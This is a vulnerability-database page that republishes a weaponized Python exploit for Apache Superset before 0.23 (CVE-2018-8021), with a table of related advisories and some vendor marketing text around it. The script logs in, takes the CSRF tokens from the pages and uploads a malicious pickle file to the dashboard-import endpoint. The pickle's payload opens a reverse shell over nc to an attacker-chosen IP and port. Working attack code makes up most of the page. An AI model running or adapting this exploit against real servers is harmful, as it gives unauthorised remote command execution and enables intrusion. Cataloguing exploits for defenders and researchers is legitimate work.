Lucene search
K

Apache Superset 0.23 - Remote Code Execution Exploit

🗓️ 03 Dec 2018 00:00:00Reported by David MayType 
zdt
 zdt
🔗 0day.today👁 43 Views

Apache Superset 0.23 Remote Code Execution Exploit, CVE-2018-8021, Ubuntu 18.0

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Apache Superset Command Execution Vulnerability
9 Nov 201800:00
cnvd
Check Point Advisories
Apache Superset 0.23 Remote Code Execution (CVE-2018-8021)
27 Dec 201800:00
checkpoint_advisories
CVE
CVE-2018-8021
7 Nov 201814:00
cve
Cvelist
CVE-2018-8021
7 Nov 201814:00
cvelist
Exploit DB
Apache Superset < 0.23 - Remote Code Execution
3 Dec 201800:00
exploitdb
exploitpack
Apache Superset 0.23 - Remote Code Execution
3 Dec 201800:00
exploitpack
Github Security Blog
Deserialization of Untrusted Data in superset
9 Nov 201817:40
github
NVD
CVE-2018-8021
7 Nov 201814:29
nvd
OSV
GHSA-VXP9-WV2F-WQMW Deserialization of Untrusted Data in superset
9 Nov 201817:40
osv
OSV
PYSEC-2018-74
7 Nov 201814:29
osv
Rows per page
# Exploit Title: Apache Superset 0.23 - Remote Code Execution
# Exploit Author: David May ([email protected])
# Vendor Homepage: https://superset.apache.org/
# Software Link: https://github.com/apache/incubator-superset
# Version: Any before 0.23
# Tested on: Ubuntu 18.04
# CVE-ID: CVE-2018-8021
 
# I originally disclosed this to the Apache Superset team back in May, and the fix had already been 
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.
 
#!/usr/bin/env python
 
import sys
import os
from lxml import html
import requests
 
# Change these values to your TCP listener
myIP = '192.168.137.129'
myPort = '8888'
# Credentials must belong to user with 'can Import Dashboards on Superset' privilege
username = 'test'
password = 'test'
 
# Logic in case script arguments are not given
if len(sys.argv) < 3:
    print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
    print('Script Usage:')
    print('./supersetrce.py <superset server ip> <superset port>')
    sys.exit()
     
else:
    # Script arguments
    supersetIP = sys.argv[1]
    supersetPort = sys.argv[2]
    # Verify these URLs match your environment
    login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
    upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'
     
    # Checks to see if file that we are going to write already exists in case this is run more than once
    if os.path.isfile('evil.pickle'):
        os.remove('evil.pickle')
         
    # Headers that we append to our POST requests
    headers_dict = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
        'DNT': '1',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
    }
     
    # Creates evil pickle file and writes the reverse shell to it
    evilPickle = open('evil.pickle','w+')
    evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')
    evilPickle.close()
     
    # Start a session so we have persistent cookies
    session = requests.session()    
     
    # Grabs the Login page to parse it for its CSRF token
    login_page = session.get(login_URL)
    if login_page.status_code != 200:
        print('Login page not reached, verify URLs in script')
    login_tree = html.fromstring(login_page.content)
    csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
     
    # Form data that is sent in the POST request to Login page
    login_data = {
        'csrf_token' : csrf_token,
        'username' : username,
        'password' : password,
    }
     
    # Adds the Referer header for the login page
    headers_dict['Referer'] = login_URL
     
    # Logon action
    login = session.post(login_URL, headers=headers_dict, data=login_data)  
     
    # Grabs the Upload page to parse it for its CSRF token
    upload_page = session.get(upload_URL)
    if upload_page.status_code != 200:
        print('Upload page not reached, verify credentials and URLs in script')
    upload_tree = html.fromstring(upload_page.content)
    csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
     
    # Adds the Referer header for the Upload page
    headers_dict['Referer'] = upload_URL
     
    # Upload action
    upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})
     
    # Closes the session
    session.close()
    sys.exit()

#  0day.today [2018-12-18]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation